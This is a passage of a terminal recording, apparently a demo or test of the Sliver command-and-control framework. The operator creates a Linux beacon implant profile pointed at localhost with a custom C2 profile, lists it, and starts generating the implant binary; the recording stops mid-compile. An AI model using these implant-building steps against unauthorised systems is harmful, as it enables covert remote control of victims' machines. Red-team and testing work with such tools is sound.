[37.11064, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby rubyc2p\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[37.112279, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[100D\u001b[9C\u001b[214D\u001b[100C\u001b[?25h"]
|
||||
[37.149812, "o", "\u001b[?25l"]
|
||||
[37.151049, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[37.153439, "o", "\u001b[6n"]
|
||||
[37.157455, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby rubyc2pr\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[37.158179, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[101D\u001b[9C\u001b[214D\u001b[101C\u001b[?25h"]
|
||||
[37.219831, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[37.227808, "o", "\u001b[6n"]
|
||||
[37.232063, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby rubyc2pro\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[37.232776, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[102D\u001b[9C\u001b[214D\u001b[102C\u001b[?25h"]
|
||||
[37.373937, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[37.38667, "o", "\u001b[6n"]
|
||||
[37.395682, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby rubyc2prof\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D"]
|
||||
[37.396178, "o", "\u001b[1A\u001b[103D\u001b[9C\u001b[214D\u001b[103C\u001b[?25h"]
|
||||
[37.44008, "o", "\u001b[?25l\u001b[214D"]
|
||||
[37.440966, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[37.444557, "o", "\u001b[6n"]
|
||||
[37.459194, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby rubyc2profi\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[37.459977, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[104D\u001b[9C\u001b[214D\u001b[104C\u001b[?25h"]
|
||||
[37.494075, "o", "\u001b[?25l"]
|
||||
[37.49511, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[37.497956, "o", "\u001b[6n"]
|
||||
[37.501262, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby rubyc2profil\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[37.501829, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[105D\u001b[9C\u001b[214D\u001b[105C\u001b[?25h"]
|
||||
[37.540007, "o", "\u001b[?25l\u001b[214D"]
|
||||
[37.540158, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[37.544333, "o", "\u001b[6n"]
|
||||
[37.547712, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby rubyc2profile\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[37.548038, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[106D\u001b[9C\u001b[214D\u001b[106C\u001b[?25h"]
|
||||
[38.237748, "o", "\u001b[106D\u001b[9C"]
|
||||
[38.246779, "o", "\u001b[6n"]
|
||||
[38.277642, "o", "\u001b[214D\u001b[106C\u001b[0J\u001b[214D"]
|
||||
[38.278008, "o", "\r\r\n"]
|
||||
[38.280107, "o", "\u001b[0 q\r\n"]
|
||||
[38.320896, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mSaved new implant profile (beacon) rubyc2profile\r\n\r\n"]
|
||||
[38.331488, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[38.331944, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[38.341378, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C"]
|
||||
[38.341978, "o", "\u001b[214D\u001b[9C\u001b[?25h"]
|
||||
[40.116503, "o", "\u001b[?25l"]
|
||||
[40.119539, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[40.136581, "o", "p\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C"]
|
||||
[40.138566, "o", "\u001b[214D\u001b[10C\u001b[?25h"]
|
||||
[40.2158, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[40.222033, "o", "pr\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[40.222296, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
|
||||
[40.298625, "o", "\u001b[?25l"]
|
||||
[40.300622, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[40.317525, "o", "pro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
|
||||
[40.427201, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[40.437241, "o", "prof\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[40.437611, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
|
||||
[40.486403, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[40.491898, "o", "profi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[40.49257, "o", "\u001b[214D\u001b[1A\u001b[14D\u001b[9C\u001b[214D\u001b[14C\u001b[?25h"]
|
||||
[40.549605, "o", "\u001b[?25l\u001b[214D"]
|
||||
[40.551094, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[40.563066, "o", "profil\u001b[0m\u001b[0K\u001b[49m\r"]
|
||||
[40.56325, "o", "\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[15D\u001b[9C\u001b[214D\u001b[15C\u001b[?25h"]
|
||||
[40.581101, "o", "\u001b[?25l\u001b[214D"]
|
||||
[40.582186, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[40.594132, "o", "profile\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[40.594895, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[16D\u001b[9C\u001b[214D\u001b[16C\u001b[?25h"]
|
||||
[40.652994, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[40.659408, "o", "\u001b[1m\u001b[32mprofiles\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[17D\u001b[9C\u001b[214D\u001b[17C\u001b[?25h"]
|
||||
[40.856596, "o", "\u001b[17D\u001b[9C\u001b[6n"]
|
||||
[40.874955, "o", "\u001b[214D\u001b[17C\u001b[0J\u001b[214D\r\r\n"]
|
||||
[40.878025, "o", "\u001b[0 q\r\n"]
|
||||
[40.910692, "o", " Profile Name Implant Type Platform Command & Control Debug Format Obfuscation Limitations C2 Profile \r\n=============== ============== ============= ======================= ======= ============ ============= ============= ============\r\n rubyc2profile beacon linux/amd64 [1] https://localhost true EXECUTABLE disabled ruby \r\n\r\n"]
|
||||
[40.922672, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[40.923553, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[40.930142, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[40.931389, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
|
||||
[42.091647, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[42.114662, "o", "p\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[42.116142, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[10D\u001b[9C\u001b[214D\u001b[10C\u001b[?25h"]
|
||||
[42.199663, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[42.207437, "o", "pr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A"]
|
||||
[42.20783, "o", "\u001b[11D\u001b[9C\u001b[214D\u001b[11C\u001b[?25h"]
|
||||
[42.307684, "o", "\u001b[?25l"]
|
||||
[42.314942, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[42.32259, "o", "pro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[42.324083, "o", "\u001b[214D\u001b[1A\u001b[12D\u001b[9C\u001b[214D\u001b[12C\u001b[?25h"]
|
||||
[42.449625, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[42.46449, "o", "prof\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[13D\u001b[9C\u001b[214D\u001b[13C\u001b[?25h"]
|
||||
[42.495577, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[42.499706, "o", "profi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[42.500421, "o", "\u001b[214D\u001b[1A\u001b[14D\u001b[9C\u001b[214D\u001b[14C\u001b[?25h"]
|
||||
[42.610565, "o", "\u001b[1 q"]
|
||||
[42.651049, "o", "\u001b[1 q"]
|
||||
[42.652594, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[42.667294, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[42.667774, "o", "\u001b[214D\u001b[1A\u001b[18D\u001b[9C\u001b[214D\u001b[18C\u001b[?25h"]
|
||||
[43.028604, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[43.043158, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mg\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[19D\u001b[9C"]
|
||||
[43.045266, "o", "\u001b[214D\u001b[19C\u001b[?25h"]
|
||||
[43.086193, "o", "\u001b[?25l"]
|
||||
[43.087628, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[43.091382, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mge\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[20D\u001b[9C\u001b[214D\u001b[20C\u001b[?25h"]
|
||||
[43.234677, "o", "\u001b[?25l\u001b[214D"]
|
||||
[43.236571, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[43.258207, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mgen\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[21D\u001b[9C\u001b[214D\u001b[21C\u001b[?25h"]
|
||||
[43.278722, "o", "\u001b[?25l\u001b[214D"]
|
||||
[43.27967, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[43.28902, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mgene\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[43.289839, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[22D\u001b[9C\u001b[214D\u001b[22C\u001b[?25h"]
|
||||
[43.466245, "o", "\u001b[1 q"]
|
||||
[43.501883, "o", "\u001b[1 q\u001b[?25l"]
|
||||
[43.503625, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[43.513793, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mgenerate \u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[43.514706, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[27D\u001b[9C\u001b[214D\u001b[27C\u001b[?25h"]
|
||||
[44.590709, "o", "\u001b[27D\u001b[9C"]
|
||||
[44.597172, "o", "\u001b[6n"]
|
||||
[44.607989, "o", "\u001b[214D\u001b[27C\u001b[0J\u001b[214D\r\r\n"]
|
||||
[44.608789, "o", "\u001b[0 q\r\n"]
|
||||
[44.626856, "o", "Error: accepts 1 arg(s), received 0\r\n"]
|
||||
[44.629236, "o", "Usage:\r\n profiles generate [flags]\r\n\r\nFlags:\r\n -G, --disable-sgn disable shikata ga nai shellcode encoder\r\n -h, --help help for generate\r\n -s, --save string directory/file to the binary to\r\n\r\nGlobal Flags:\r\n -t, --timeout int grpc timeout in seconds (default 60)\r\n\r\n"]
|
||||
[44.630687, "o", "\r\n"]
|
||||
[44.6392, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[44.639589, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[44.650584, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[44.651137, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C\u001b[214D\u001b[9C\u001b[?25h"]
|
||||
[45.851107, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[45.87223, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mgenerate\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[45.875295, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[26D\u001b[9C\u001b[214D\u001b[26C\u001b[?25h"]
|
||||
[46.143718, "o", "\u001b[?25l"]
|
||||
[46.154211, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[46.177588, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mgenerate \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[27D\u001b[9C"]
|
||||
[46.179753, "o", "\u001b[214D\u001b[27C\u001b[?25h"]
|
||||
[46.496135, "o", "\u001b[1 q"]
|
||||
[46.553261, "o", "\u001b[1 q\u001b[?25l"]
|
||||
[46.55356, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[46.554739, "o", "\u001b[6n"]
|
||||
[46.557618, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mgenerate rubyc2profile \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[41D\u001b[9C\u001b[214D\u001b[41C\u001b[?25h"]
|
||||
[47.102498, "o", "\u001b[41D\u001b[9C"]
|
||||
[47.115639, "o", "\u001b[6n"]
|
||||
[47.15072, "o", "\u001b[214D\u001b[41C\u001b[0J\u001b[214D\r\r\n"]
|
||||
[47.152484, "o", "\u001b[0 q\r\n"]
|
||||
[47.174531, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mGenerating new linux/amd64 beacon implant binary (1m0s)\r\n"]
|
||||
[47.279969, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[47.38042, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[47.482622, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[47.584007, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[47.685111, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[47.787668, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[47.888575, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[47.989491, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[48.095394, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[48.195737, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[48.296425, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[48.400774, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[48.501115, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[48.601394, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[48.703694, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[48.804432, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[48.904991, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[49.008739, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[49.111122, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[49.211963, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[49.312678, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[49.41605, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[49.516658, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[49.617012, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[49.721773, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[49.822577, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[49.926102, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[50.027945, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[50.129633, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[50.230208, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[50.331449, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[50.432705, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[50.533486, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[50.634115, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[50.735088, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[50.835829, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[50.937012, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[51.037658, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[51.13811, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[51.238802, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[51.339384, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[51.439611, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[51.540481, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[51.641578, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[51.742189, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[51.843116, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[51.944513, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[52.044775, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[52.145419, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[52.24665, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[52.347899, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[52.448675, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[52.548878, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[52.649544, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[52.750914, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[52.851243, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[52.95578, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[53.057647, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[53.159399, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[53.260034, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[53.360943, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[53.46165, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[53.562852, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[53.662966, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[53.763569, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[53.864542, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[53.965561, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[54.066431, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[54.167275, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[54.267733, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[54.370531, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[54.471065, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[54.57173, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[54.672305, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[54.772736, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[54.873777, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[54.97493, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[55.075873, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[55.180964, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[55.281075, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[55.381828, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[55.482658, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[55.583011, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[55.686264, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[55.786923, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[55.887783, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[55.992701, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[56.09345, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[56.193715, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[56.294307, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[56.395041, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[56.496196, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[56.596524, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[56.697098, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[56.798146, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[56.899027, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[57.000679, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[57.101693, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[57.204178, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[57.305552, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[57.406075, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[57.506703, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[57.607736, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[57.708763, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[57.809747, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[57.910302, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[58.010753, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[58.110965, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[58.213099, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[58.313627, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[58.414383, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[58.515102, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[58.6157, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[58.716536, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[58.816918, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
||||
[58.917932, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
|
||||
[59.018887, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
|
||||
[59.11947, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
|
||||
[59.221657, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
|
||||
[59.325179, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
|
||||
[59.426236, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
|
||||
[59.526394, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
|
||||
[59.628343, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
|
||||
[59.728781, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
|
||||
[59.830545, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
|
